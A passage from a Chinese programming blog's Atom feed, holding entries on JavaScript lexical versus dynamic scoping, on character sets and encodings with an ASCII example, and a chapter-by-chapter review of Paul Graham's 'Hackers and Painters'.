class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;span class=&quot;function&quot;&gt;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;title&quot;&gt;f2&lt;/span&gt;(&lt;span class=&quot;params&quot;&gt;&lt;/span&gt;) &lt;/span&gt;&amp;#123;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  &lt;span class=&quot;keyword&quot;&gt;var&lt;/span&gt; a = &lt;span class=&quot;string&quot;&gt;&#39;b&#39;&lt;/span&gt;;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  f1();&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&amp;#125;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;f2();&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;上面的代码采用的Javascript的语法，执行结果是什么？ 答案是 “a”。再次搬出词法作用域的规则：变量的作用域链是在声明的时候就已经确定。上段代码在声明的时候，f1中的变量a已指向最外层的变量a。因此，当执行f2的时候，f2内部重新声明的变量a，只是开辟了新的内存地址，不会覆盖最外层的变量a。在f2中调用f1，由于f1中的变量a在声明时已经确定指向了最外层的变量a，所以只要最外层的变量a的值不变，它就会输出 “a”。&lt;/p&gt;
&lt;p&gt;这是以上这段代码在静态作用域下的表现。那么现在，我们假设Javascript是采用动态作用域，上述函数的执行结果又会是什么呢？&lt;/p&gt;
&lt;p&gt;鉴于大家恐是无法通过编码去验证这一段代码，我也就只能公布一下正确答案，传递传递思想了（如果想要实践的话可以去接触接触Lisp的早期版本），这一次的输出将会是 “b”。&lt;/p&gt;
&lt;p&gt;动态作用域规则指出变量作用域的确定是在执行过程中。当语句执行到f1中的输出语句时，需要查询变量a的值，此时，动态作用域规则会根据函数的调用栈，从语句所在的函数开始，依次向外直到最外层全局环境，去搜索变量的定义直到找到为止。因此，在不知道具体执行之前，我们是无法直到f1中的变量a到底指向了哪里，这就是动态作用域设定的游戏规则。&lt;/p&gt;
&lt;h2 id=&quot;青梅煮酒论英雄&quot;&gt;&lt;a href=&quot;#青梅煮酒论英雄&quot; class=&quot;headerlink&quot; title=&quot;青梅煮酒论英雄&quot;&gt;&lt;/a&gt;青梅煮酒论英雄&lt;/h2&gt;&lt;p&gt;总结来看，个人还是认为静态作用域的优势明显要强于动态，对于静态作用域，我们可以只通过分析代码文件就能够确定变量的作用域和程序的输出，无论从bug调试、编码逻辑上来看都会轻松不少，增强了程序代码的可维护性。其次，动态作用域在调用的时候动态生成作用域链肯定会影响执行的速度，从性能上来说静态占优。看看Lisp已经成功完成了向静态作用域的华丽丽转型，再看看静态作用域的语言类型压倒性的优势，似乎都足以说明问题。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;作用域和作用域链&quot;&gt;&lt;a href=&quot;#作用域和作用域链&quot; class=&quot;headerlink&quot; title=&quot;作用域和作用域链&quot;&gt;&lt;/a&gt;作用域和作用域链&lt;/h2&gt;&lt;p&gt;不同的国家制定不同的法律来依法量刑。但是法律有界限，它们只对自己的国民有着束缚之力。各国的法律只有在自己国土上才有效，才被认可，这个有效范围的限制，就是法律的作用域。&lt;/p&gt;
&lt;p&gt;作用域即是对权限的界定。作用域的主体是不可忽视的，它明确了是对什么事物的权限界定。上面所讲的，法律就是作用域的主体。&lt;/p&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="词法作用域" scheme="tomasran.space/tags/%E8%AF%8D%E6%B3%95%E4%BD%9C%E7%94%A8%E5%9F%9F/"/>
    
      <category term="动态作用域" scheme="tomasran.space/tags/%E5%8A%A8%E6%80%81%E4%BD%9C%E7%94%A8%E5%9F%9F/"/>
    
      <category term="Lexical Scoping" scheme="tomasran.space/tags/Lexical-Scoping/"/>
    
      <category term="Dynamic Scoping" scheme="tomasran.space/tags/Dynamic-Scoping/"/>
    
  </entry>
  
  <entry>
    <title>关于字符集、编码字符集和字符编码</title>
    <link href="tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/"/>
    <id>tomasran.space/archives/1lYfLLOTOzer67ZuqHJRlg/</id>
    <published>2016-06-30T08:04:03.000Z</published>
    <updated>2016-06-30T13:33:48.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;准备好开始&quot;&gt;&lt;a href=&quot;#准备好开始&quot; class=&quot;headerlink&quot; title=&quot;准备好开始&quot;&gt;&lt;/a&gt;准备好开始&lt;/h2&gt;&lt;p&gt;我不是偏执于概念，只是很多时候只有对一个词汇或者术语的定义有着明确的把握之后才会自信地去使用它们。我觉得这不至于是一件钻牛角尖的坏事情，能够清晰地辨别它们或者准确地使用它们至少令自己心里踏实，不会迷惑于其它叙述者的七嘴八舌。&lt;/p&gt;
&lt;p&gt;因此，在比较充分地接触编码这一堆看上去令人头晕脑胀的事情之前，我想有必要先明确几个概念，相信我，这将有助于我们理清思绪。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;h2 id=&quot;字符集&quot;&gt;&lt;a href=&quot;#字符集&quot; class=&quot;headerlink&quot; title=&quot;字符集&quot;&gt;&lt;/a&gt;字符集&lt;/h2&gt;&lt;p&gt;顾名思义，字符集是字符的集合。&lt;/p&gt;
&lt;p&gt;字符是什么？世界上各个国家的语言、符号、表情等都可以视为字符。在计算机界，一个字符是一个单位的字形、类字形单位或符号的基本信息。&lt;/p&gt;
&lt;p&gt;我所要强调的重点，是在计算机中，存在着大量不同的字符集：ASCII字符集、Unicode字符集、ISO字符集等等，它们的集合元素不尽相同，包含的字符有所差别，这和以信仰为主题而诞生的不同宗教、以工作为主题而出现的不同行业别无二致。它们都属于字符集这个大概念，但是集合元素有差别。&lt;/p&gt;
&lt;p&gt;那么为什么会有这种差别呢？作为一个中国人，我想要计算机支持的字符集里包含所有的中文，理所当然；作为一个美国人，我想要计算机支持的字符里包含所有英文字母，无可厚非；又或者只想任性地定义一套火星文，无力吐槽。假设彼此都不想要支持或包含对方的字符，这样就诞生了不同的字符集。因此，不同设计者的设计目标的差异直接导致了字符集的差别。&lt;/p&gt;
&lt;p&gt;为什么不统一一个包罗万象的字符集呢？统一的过程是漫长的，过程中的分歧也是不可避免，不过好在现在我们已经走上了这条路：Unicode字符集。&lt;/p&gt;
&lt;p&gt;字符集只是将一堆字符收集起来，划了个圈子，起了个名。&lt;/p&gt;
&lt;h2 id=&quot;编码字符集&quot;&gt;&lt;a href=&quot;#编码字符集&quot; class=&quot;headerlink&quot; title=&quot;编码字符集&quot;&gt;&lt;/a&gt;编码字符集&lt;/h2&gt;&lt;p&gt;那么，编码字符集是什么？我们现在准备了一个字符集，然后给字符集中的每个字符映射一个抽象的数字，这就是编码字符集。简单的说，就是给字符集中的字符一一编号。&lt;/p&gt;
&lt;p&gt;以下是Unicode字符集的编号，具体可以参见 &lt;a href=&quot;http://unicode-table.com/en/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Unicode字符编码表&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/unicode%E5%AD%97%E7%AC%A6%E7%BC%96%E7%A0%81%E8%A1%A8.png&quot; alt=&quot;Unicode字符编码表&quot;&gt;&lt;/p&gt;
&lt;p&gt;编码字符集建立了字符和数字码的一一映射关系。&lt;/p&gt;
&lt;h2 id=&quot;字符编解码&quot;&gt;&lt;a href=&quot;#字符编解码&quot; class=&quot;headerlink&quot; title=&quot;字符编解码&quot;&gt;&lt;/a&gt;字符编解码&lt;/h2&gt;&lt;p&gt;那么，现在困惑来了，我们常说的字符编码、字符解码是什么？&lt;/p&gt;
&lt;p&gt;编码字符集是将字符集中的字符和数字建立对应关系，构成了一张映射表。它就静静地躺在那里，无声无息，并不会主动去做些什么。而我们则希望计算机在存储、发送和显示字符的时候能得到正确的结果。那么既然字符集本身无能为力，我们就需要写一套规则、一堆代码去主动处理字符的存储、发送和显示。这一步过程就是字符的编码和解码。&lt;/p&gt;
&lt;p&gt;计算机存储、发送的都是二进制流数据，明白这一点很重要。我们的问题就是如何将这些二进制数据流解析成字符，或者如何将字符用二进制数据表示。&lt;/p&gt;
&lt;p&gt;下面就通过ASCII码字符集（所谓的字符编解码，都是针对某个特定的字符集）对应的编解码方案来解释一下这个过程：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;http://o6lqh5p0j.bkt.clouddn.com/AC5133B5-0FDE-4B29-B277-16EB294FDA22.png&quot; alt=&quot;ASCII码表&quot;&gt;&lt;/p&gt;
&lt;p&gt;上表是ASCII码的编码字符集，一张映射表，ASCII码因为字符数量的稀少，用8bit（通常说一个字节，但注意一个字节并不是总等于8bit，只是现在大部分计算机是这样而已）就可以完全表示。&lt;/p&gt;
&lt;p&gt;ASCII码的编码过程很简单，只需要根据以上这张映射表查找到对应的字节，将该字节进行存储就完成了编码过程。例如字符“A”，存储到文件中就是 “01000001”。so easy，不是吗？ASCII码字符编码就是这样简单的查表过程。解码过程也很简单，对二进制数据流按照8bit进行划分，然后也是根据以上的映射表找到对应的字符即可，例如 “0011000001010000”，划分为 “00110000” 和 “01010000”，查表可得依次是“0”、“P”。&lt;/p&gt;
&lt;p&gt;ASCII码字符集的这一套编解码方案简单的人神共愤。稍微复杂的编码方式例如针对Unicode字符集的UTF-8、UTF-16、UTF-32编码后续再论。重点是，现在我们应该能够清楚地区分字符集、编码字符集和字符编码，并且明白一种字符集只有一套编码字符集，但可以有多种字符编码方案。道理显而易见。&lt;/p&gt;
&lt;p&gt;我们通常所说的编码方式就是针对这各种字符集的不同编码方案，当再听到UTF-8，UTF-16，Big5，ISO-8859-1，GB2312等等乱七八糟的编码方式时，可以不用再感到恐慌，而是轻描淡写的一句：“哦，不过是另外一种字符集的另一种编码方式而已”。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;准备好开始&quot;&gt;&lt;a href=&quot;#准备好开始&quot; class=&quot;headerlink&quot; title=&quot;准备好开始&quot;&gt;&lt;/a&gt;准备好开始&lt;/h2&gt;&lt;p&gt;我不是偏执于概念，只是很多时候只有对一个词汇或者术语的定义有着明确的把握之后才会自信地去使用它们。我觉得这不至于是一件钻牛角尖的坏事情，能够清晰地辨别它们或者准确地使用它们至少令自己心里踏实，不会迷惑于其它叙述者的七嘴八舌。&lt;/p&gt;
&lt;p&gt;因此，在比较充分地接触编码这一堆看上去令人头晕脑胀的事情之前，我想有必要先明确几个概念，相信我，这将有助于我们理清思绪。&lt;/p&gt;
    
    </summary>
    
      <category term="Investigation" scheme="tomasran.space/category/Investigation/"/>
    
    
      <category term="字符集" scheme="tomasran.space/tags/%E5%AD%97%E7%AC%A6%E9%9B%86/"/>
    
      <category term="字符编码" scheme="tomasran.space/tags/%E5%AD%97%E7%AC%A6%E7%BC%96%E7%A0%81/"/>
    
      <category term="字符解码" scheme="tomasran.space/tags/%E5%AD%97%E7%AC%A6%E8%A7%A3%E7%A0%81/"/>
    
      <category term="ASCII码" scheme="tomasran.space/tags/ASCII%E7%A0%81/"/>
    
  </entry>
  
  <entry>
    <title>黑客与画家的影子</title>
    <link href="tomasran.space/archives/C8ZzMzr8_QosYft0__Wf3A/"/>
    <id>tomasran.space/archives/C8ZzMzr8_QosYft0__Wf3A/</id>
    <published>2016-04-12T14:35:08.000Z</published>
    <updated>2016-07-29T06:09:25.000Z</updated>
    
    <content type="html">&lt;h2 id=&quot;让我先做个猜测&quot;&gt;&lt;a href=&quot;#让我先做个猜测&quot; class=&quot;headerlink&quot; title=&quot;让我先做个猜测&quot;&gt;&lt;/a&gt;让我先做个猜测&lt;/h2&gt;&lt;p&gt;一次偶然的凑单，我收获了这本书：《黑客与画家》。一个从来充满神秘色彩的人物，遇见一个喜欢沉浸于自我陶醉的角色，他们能摩擦出怎样的火花？&lt;/p&gt;
&lt;p&gt;我企图将自己装扮成作者，强行使用小学语文老师传授给我们的移魂大法，无奈作者离我太遥远，远在那我功力遥不可及的地方，我只能就拍着脑门瞎蒙。有一句网红，叫做不喜勿喷，但是我觉得如果实在不喜的话喷喷也无妨，毕竟我只是在瞎蒙，造谣犯法，而瞎蒙和造谣毕竟也没什么区别。&lt;/p&gt;
&lt;a id=&quot;more&quot;&gt;&lt;/a&gt;
&lt;p&gt;我用我的榆木脑袋在想，作者可能是想表达这两者之间的相通之处吧：他们都属于艺术创作的范畴，绘画是艺术，编程也是艺术。否则，若只是这两者的同台竞技该让多少人摸不着头脑（那样的情况往往是走向两个极端：若非内容的高深即是表达的拙劣）。&lt;/p&gt;
&lt;p&gt;恩，我觉得想的中规中矩，但是像我这种发育健全、有血有肉的鸡蛋，号称鸡蛋中的霸主，从自身的高内涵之中挑出一两根骨头出来也不是什么难事。&lt;/p&gt;
&lt;p&gt;想想作为一只鸡蛋还是得低调，不要总尝试去碰壁，更何况我是鸡蛋中的霸主，于是乎还是决定言归正传聊聊这本书吧。&lt;/p&gt;
&lt;h2 id=&quot;吃下去，交给消化系统去处理&quot;&gt;&lt;a href=&quot;#吃下去，交给消化系统去处理&quot; class=&quot;headerlink&quot; title=&quot;吃下去，交给消化系统去处理&quot;&gt;&lt;/a&gt;吃下去，交给消化系统去处理&lt;/h2&gt;&lt;p&gt;看完人物介绍，Paul Graham，viaweb的创始人，青年时代就热爱上了编程，中学时喜欢写小说（原创小说的确是一个保持创意的好点子，环境自由，人物、情节设定肆意妄为，只要写的一身正气，不给一些吃饱了饭没事干的家伙留下小辫子，完全是属于自己的地盘。作家和灵感从来是互为伯乐的嘛），而后大学主修的是哲学，研究生阶段却又‘跳槽’去主攻人工智能，博士毕业之后，他竟又出人意料地去报班美术，开始学习了绘画甚至之后以此为业。&lt;/p&gt;
&lt;p&gt;这样的人生经历，其实不能说算是有很多离奇的色彩，体现出来更多的，是一种选择上的自由（在某些软件环境里，程式般的生活让每一个表达式都觉得自己生来应该遵守某个规则，运行的上下文制定了稳固的秩序，让它们觉得一旦破坏了这种秩序便会导致全局的瘫痪而且修复无望。规则和威吓限制了自由程式的发展）。我觉得他是根据自己的喜好在过着生活，如果不是后来为了生活费而又转向编程这一项工作，可能绘画领域会多一位大师，不过鱼与熊掌不可兼得的道理应该是没有种族限制的，还是庆幸他在程序员界走了一遭，为我们沉淀了不少好东西。&lt;/p&gt;
&lt;p&gt;读完介绍，我觉得我可能要抱着一丝丝崇拜之心去读他的作品了，恭敬地掀开了第一章。&lt;/p&gt;
&lt;p&gt;说实话，第一章并没有给我带来太多好感，读着读着心情就郁闷了，感觉似乎是一个初高中时代遭受过不公平待遇的孩子在他的往事回忆录中的一种宣泄。作者已经将学校的教育体制黑的体无完肤了，在他眼中可以直接说学校其实是一种毫无必要存在的垃圾（le se），完全是应该摒弃的糟粕，而教师则只是一些行尸走肉（我的用词不是偏激，而是在读第一章的时候能时时刻刻体会到作者想要表达的这层厌恶之情）。于是乎在这里，我感觉到了文化的差异很明显，也深深地让我感到惊讶，美国中学的教育竟然是这样的？有点不可思议。&lt;/p&gt;
&lt;p&gt;当一个人很坚定的相信自己的某种观点的时候，任何反对的声音都是刺耳的，如果你没有打算“纠正”或者“拯救”他的心意时，那情况就会更糟糕，你可能会选择疏远他。这就是派系的形成，斗争的源头。人类社会一直处于求同存异的阶段，无论基数是几十亿还是几个人，只要“存异”，就有争论。我相信，只有承认这种合理差异存在的人才能更好的认识世界，更好地发掘自然世界的普遍规律（当然了，这一切取决于你所坚持的对象）。还好我没有因为自己的不赞同而放弃阅读，不然肯定就错过了很多精彩的东西。不要过早的宣泄自己的情感，能够忍耐沟通而非固执己见。我们的消化系统决定了我们可以吸收的东西，而食物在人种之间的划分应该是比较模糊的，有绝对的在一个部落可以称之为实物而在另一个国度却根本无法被任何一个人消化的东西吗？我们需要的构造人体的生物物质一样，那么就不要太在意在你饿肚子时候别人贡献出来的晚餐自己是否能消化，吃下去，让消化系统去处理。&lt;/p&gt;
&lt;h2 id=&quot;享受阅读的乐趣&quot;&gt;&lt;a href=&quot;#享受阅读的乐趣&quot; class=&quot;headerlink&quot; title=&quot;享受阅读的乐趣&quot;&gt;&lt;/a&gt;享受阅读的乐趣&lt;/h2&gt;&lt;p&gt;一本好书给人的感觉就是越读越有趣（我们不应该奢望一个健身教练读&lt;cite&gt;《人月神话》&lt;/cite&gt;读得津津有味），读书读到舍不得放开手的时候太多了，任何一道符合你口味的菜都能让你垂涎三尺。这不是读者的境界，而是内容本身的精彩。当看到平时不怎么阅读的小伙伴捧起了一本书聚精会神，我们应该惊叹这本书的引力之大，而很多时候我们都走偏了。书籍本身就是我们读书的动力，在我看来，完全没有必要再去寻找其它外力推动。&lt;/p&gt;
&lt;p&gt;那么，我们为什么会感到有趣呢？&lt;/p&gt;
&lt;p&gt;第一，作者的文笔很风趣，写的很生动。说实话，我在念书的时候，完全没有感觉到文言文之中透露了多少的趣味性，时代不同，语言思维不一样，最多只是觉得写得很顺口，对称，用词精炼，辞藻华丽丽的让我发懵。记得有人曾经曰过：可以无知，不可无趣。&lt;/p&gt;
&lt;p&gt;第二，作者讲的太有道理了，特别能引起你的共鸣。共鸣是最能催生惺惺相惜之情，像作者所描述的，欺负书呆子的学生们也就是寻找一种共鸣来安慰自己。每个个体都是满心希望得到认同的，对于和他们持有同样观点的甲乙丙丁自然就会撞击他们的心头小鹿。&lt;/p&gt;
&lt;p&gt;第三，作者提出的东西太闪亮，让人心悦诚服。这一点就有点居高临下的感觉了，让人觉得眼前站着一个高耸入云的巨人，他给我们描述着一个云端的崭新世界，我们怀着敬畏之心，表示感激之情，彻底被打动。&lt;/p&gt;
&lt;p&gt;同时拥有这三点的创作必然是优秀的，其实你应该能猜到的，我觉得这本书就包含了这三方面的趣味性。大部分的技术类书籍，但凡是技术大咖所著，幽默的风格字里行间总是能轻易感受到，难道是领域特定风格（&lt;abbr title=&quot;Domain Specific Style&quot;&gt;DSS&lt;/abbr&gt;）？二次元世界的冷笑话其实也是很符合人情味的嘛，除了有技术背景的之外，感觉趣味不难琢磨。幽默使人强壮，我亦由此共鸣。感受最深的是作者提出来的各个闪闪发光的点，幽默收获笑容，创意引发惊叹。作者提出的很多观点，无不是反其道而行之，这‘其道’更多的是指向被广泛认同的观点，不仅仅如此，作者还提出了很多可行性很高的建议，如果说每一个观点都让人灵光一闪，那我现在估计已经被闪瞎了。我真正感受到一个黑客思想的‘叛逆’。越对抗越有趣。&lt;/p&gt;
&lt;h2 id=&quot;小结&quot;&gt;&lt;a href=&quot;#小结&quot; class=&quot;headerlink&quot; title=&quot;小结&quot;&gt;&lt;/a&gt;小结&lt;/h2&gt;&lt;p&gt;我不敢保证如此粗糙大意的我是否多年之后就遗失了它，以下的内容是我对这本书的每一个章节所做的笼统概括，简单归纳。如果捡了芝麻漏了西瓜也不要责怪，因为，这总比什么都没收获要好一些。&lt;/p&gt;
&lt;h3 id=&quot;《黑客与画家》&quot;&gt;&lt;a href=&quot;#《黑客与画家》&quot; class=&quot;headerlink&quot; title=&quot;《黑客与画家》&quot;&gt;&lt;/a&gt;&lt;cite&gt;《黑客与画家》&lt;/cite&gt;&lt;/h3&gt;&lt;h4 id=&quot;1-为什么书呆子不受欢迎&quot;&gt;&lt;a href=&quot;#1-为什么书呆子不受欢迎&quot; class=&quot;headerlink&quot; title=&quot;1. 为什么书呆子不受欢迎&quot;&gt;&lt;/a&gt;1. 为什么书呆子不受欢迎&lt;/h4&gt;&lt;p&gt;作者探索到的原因大致是因为书呆子将精力都花费在了其他地方，无暇顾及或者更确切的说是他们本身并没有想要处理好人际关系的计划。这是在解释黑客的孤僻和高冷吗？不知道是不是黑客的共鸣。&lt;/p&gt;
&lt;h4 id=&quot;2-黑客与画家&quot;&gt;&lt;a href=&quot;#2-黑客与画家&quot; class=&quot;headerlink&quot; title=&quot;2. 黑客与画家&quot;&gt;&lt;/a&gt;2. 黑客与画家&lt;/h4&gt;&lt;p&gt;黑客与画家是作者的人生中的两种职业阶段，但外在分离而内在耦合，他们都属于真正的创作。作者认为对于黑客来说，真正适合创作的途径只有创业，时间自由，方向自由，拥有足够的掌控权以及百分百的精力投资。这可以算是黑客创业成功的先决条件吧，作者谈到成功的另一条件是贴近用户，具备换位思考的能力（很明显，需求调研的出发点就是明白用户想要什么，做什么才能适合用户，这是商业上取得成功的一大要素）。&lt;/p&gt;
&lt;h4 id=&quot;3-不能说的话&quot;&gt;&lt;a href=&quot;#3-不能说的话&quot; class=&quot;headerlink&quot; title=&quot;3. 不能说的话&quot;&gt;&lt;/a&gt;3. 不能说的话&lt;/h4&gt;&lt;p&gt;在不同的国家，不同的种族，沿袭了很多传统，有着诸多禁忌，有很多言论被明令禁止，有很多观点被强制灌输，作者建议我们对每一件事物保持质疑的心态，将自己的信任交给它们，很多时候并不会引发灾难性的后果，但是可能让你与创造走向两条平行线。开创者的奇思妙想往往就是在打破一个常规状态的收获，事实证明，推翻常识的出人意料得构想最容易成功，虽然人们因为固化思维而不容易改变，但是又对新生的事物充满好奇，人是矛盾的结合体。作者在文中给我们提出了很多寻找不能说的话的方法，建议我们仔细思考，用自己的思维去判断所谓的“不能说的话”是否是真的不应该说，保持质疑的态度，保持好奇的心理，而不是懒散得随波逐流。作者更进一步提到，不要尝试与笨蛋辩论：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;自由思考比畅所欲言更重要&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 id=&quot;4-良好的坏习惯&quot;&gt;&lt;a href=&quot;#4-良好的坏习惯&quot; class=&quot;headerlink&quot; title=&quot;4. 良好的坏习惯&quot;&gt;&lt;/a&gt;4. 良好的坏习惯&lt;/h4&gt;&lt;p&gt;按照作为一个黑客的思想，在计算机网络中，任何的一句斩钉截铁的“不能”都可能引起他们极大的不满，认为是一种挑衅而义愤填膺地去攻破它。作者认为黑客的攻防战在绝大部分场合都是在追求技术上的自由，而这种反抗精神是一种“良好的坏习惯”，反抗过程就是一个推陈出新的过程。&lt;/p&gt;
&lt;h4 id=&quot;5-另一条路&quot;&gt;&lt;a href=&quot;#5-另一条路&quot; class=&quot;headerlink&quot; title=&quot;5. 另一条路&quot;&gt;&lt;/a&gt;5. 另一条路&lt;/h4&gt;&lt;p&gt;在读这本书之前，你必然已经知道了Paul Graham是viaweb的创始人，也就是现如今的Yahoo Store。作为互联网行业的领军人物，他在这里详细描述了互联网行业的一些规律以及一些指导性意见。我想这绝对是互联网创业者的一本必读宝典。&lt;/p&gt;
&lt;h4 id=&quot;6-如何创造财富&quot;&gt;&lt;a href=&quot;#6-如何创造财富&quot; class=&quot;headerlink&quot; title=&quot;6. 如何创造财富&quot;&gt;&lt;/a&gt;6. 如何创造财富&lt;/h4&gt;&lt;p&gt;看到这样的标题，很多人可能眼前一亮，大师要教授致富经了，好像闻到了一股金灿灿，红艳艳的味道（请毫不犹豫地忽视地区差异）。然而，大师其实是来说教的，他会告诉你，财富并不只是金钱，金钱只能用来转移财富的所有权，财富是一切创造出来的对人类有价值的东西。这一章，也是在指导创业者如何去寻找一个正确的方向。&lt;/p&gt;
&lt;h4 id=&quot;7-关注贫富分化&quot;&gt;&lt;a href=&quot;#7-关注贫富分化&quot; class=&quot;headerlink&quot; title=&quot;7. 关注贫富分化&quot;&gt;&lt;/a&gt;7. 关注贫富分化&lt;/h4&gt;&lt;p&gt;在这一章，作者开始公然反对我们政治教科书上的观点（依稀记得我国国情是如此）：缩小贫富差距。作者认为，为什么要缩小贫富差距，政府实在是吃饱了饭没事干。贫富差距应该是合理的，专业领域差异，个人水平高低必将带来贫富差距，政府究竟是打算把每一个人都培育成领域精英从事社会劳作，还是限制大家产出在一个最低水平，或者只是想平均分配？看上去都不是特别合理。&lt;/p&gt;
&lt;h4 id=&quot;8-防止垃圾邮件的一种方法&quot;&gt;&lt;a href=&quot;#8-防止垃圾邮件的一种方法&quot; class=&quot;headerlink&quot; title=&quot;8. 防止垃圾邮件的一种方法&quot;&gt;&lt;/a&gt;8. 防止垃圾邮件的一种方法&lt;/h4&gt;&lt;p&gt;作者分享了一下他关于垃圾邮件过滤器的处理方式以及分析思想。&lt;/p&gt;
&lt;h4 id=&quot;9-设计者的品味&quot;&gt;&lt;a href=&quot;#9-设计者的品味&quot; class=&quot;headerlink&quot; title=&quot;9. 设计者的品味&quot;&gt;&lt;/a&gt;9. 设计者的品味&lt;/h4&gt;&lt;p&gt;“品味只是一种个人喜好”这种说法受到了作者严厉的抨击，因为如果是这样，那么就不存在一种优秀的设计或者说满世界的都是所谓的优秀设计，因为你将决定权交给个人了，更直白说，你将“优秀”的定义交给个人了，到那时候，每个人都可以说“美丽”这个形容词可能天生就是为他们创造的。而事实绝非如此，优秀的设计是存在的，它是大范围内人们对美的一种普遍认同，作者再次对它的一般规律做了精细的概括，详述了一个优秀的设计必然会继承的一些属性。&lt;/p&gt;
&lt;h4 id=&quot;10-编程语言解析&quot;&gt;&lt;a href=&quot;#10-编程语言解析&quot; class=&quot;headerlink&quot; title=&quot;10. 编程语言解析&quot;&gt;&lt;/a&gt;10. 编程语言解析&lt;/h4&gt;&lt;p&gt;作者在这一章似乎相当的收敛，鲜有明确的表达自己的态度，在结束的时候肯定了目前在编程语言世界里百花争鸣的局面。&lt;/p&gt;
&lt;h4 id=&quot;11-一百年后的编程语言&quot;&gt;&lt;a href=&quot;#11-一百年后的编程语言&quot; class=&quot;headerlink&quot; title=&quot;11. 一百年后的编程语言&quot;&gt;&lt;/a&gt;11. 一百年后的编程语言&lt;/h4&gt;&lt;p&gt;这样一个看似畅想的标题，一般人只会以为作者是在想象一百年以后的语言的样子。不错，作者有这样做，但是却不仅仅这样而已。作者认为，编程语言的发展从来都是缓慢的，现在语言的发展进度也不过是上五十年诞生的某些语言的设想，那么按照这个规律演算，在未来的一百年流行起来的语言可能就会出现在我们这个时代，那么还等什么，抓紧时间赶快研究吧。&lt;/p&gt;
&lt;h4 id=&quot;12-拒绝平庸&quot;&gt;&lt;a href=&quot;#12-拒绝平庸&quot; class=&quot;headerlink&quot; title=&quot;12. 拒绝平庸&quot;&gt;&lt;/a&gt;12. 拒绝平庸&lt;/h4&gt;&lt;p&gt;作者提到了自己之所以成功的秘密武器：采用Lisp语言作为他们开始创业时的语言。作者鼓励创业者采用高效的强大的编程语言而将该语言本身的受欢迎程度抛之脑后。对创业公司来说，高效地实现可以为竞争对手设置壁垒，而高效地实现在软件界就很依赖于使用的开发工具的效率。拒绝采用“业界最佳实践”的推荐，拒绝平庸，才是一个创业公司的成才之道。&lt;/p&gt;
&lt;h4 id=&quot;13-书呆子的复仇&quot;&gt;&lt;a href=&quot;#13-书呆子的复仇&quot; class=&quot;headerlink&quot; title=&quot;13. 书呆子的复仇&quot;&gt;&lt;/a&gt;13. 书呆子的复仇&lt;/h4&gt;&lt;p&gt;强调语言选择的重要性。&lt;/p&gt;
&lt;h4 id=&quot;14-梦寐以求的编程语言&quot;&gt;&lt;a href=&quot;#14-梦寐以求的编程语言&quot; class=&quot;headerlink&quot; title=&quot;14. 梦寐以求的编程语言&quot;&gt;&lt;/a&gt;14. 梦寐以求的编程语言&lt;/h4&gt;&lt;p&gt;作者描述了一个完美的编程语言的设计要求（当然了，你可以参考这个设计一百年以后的编程语言）。&lt;/p&gt;
&lt;h4 id=&quot;15-设计与研究&quot;&gt;&lt;a href=&quot;#15-设计与研究&quot; class=&quot;headerlink&quot; title=&quot;15. 设计与研究&quot;&gt;&lt;/a&gt;15. 设计与研究&lt;/h4&gt;&lt;p&gt;更推崇设计。研究更是一种自己关在小黑屋里冥思苦想，处于小片区域集中，整体孤立的状态，而设计的先天性要求需要参与人类的社会活动，需要考虑人的因素，必然考虑到用户，活动的范围要比研究要大的多。作者看样子更愿意被称呼为“设计师”。&lt;/p&gt;
</content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;让我先做个猜测&quot;&gt;&lt;a href=&quot;#让我先做个猜测&quot; class=&quot;headerlink&quot; title=&quot;让我先做个猜测&quot;&gt;&lt;/a&gt;让我先做个猜测&lt;/h2&gt;&lt;p&gt;一次偶然的凑单，我收获了这本书：《黑客与画家》。一个从来充满神秘色彩的人物，遇见一个喜欢沉浸于自我陶醉的角色，他们能摩擦出怎样的火花？&lt;/p&gt;
&lt;p&gt;我企图将自己装扮成作者，强行使用小学语文老师传授给我们的移魂大法，无奈作者离我太遥远，远在那我功力遥不可及的地方，我只能就拍着脑门瞎蒙。有一句网红，叫做不喜勿喷，但是我觉得如果实在不喜的话喷喷也无妨，毕竟我只是在瞎蒙，造谣犯法，而瞎蒙和造谣毕竟也没什么区别。&lt;/p&gt;
    
    </summary>
    
      <category term="Impression" scheme="tomasran.space/category/Impression/"/>
    
    
      <category term="黑客与画家" scheme="tomasran.space/tags/%E9%BB%91%E5%AE%A2%E4%B8%8E%E7%94%BB%E5%AE%B6/"/>
    
  </entry>
  
  <entry>
    <title>浏览器事件机制的几个基本概念</title>
    <link href="tomasran.space/archives/tqX1rLAoV4RgnYJt7iLebA/"/>
    <id>tomasran.space/archives/tqX1rLAoV4RgnYJt7iLebA/</id>
    <published>2016-03-31T16:30:38.000Z</published>
    <updated>2016-11-25T07:38:58.000Z</updated>
    
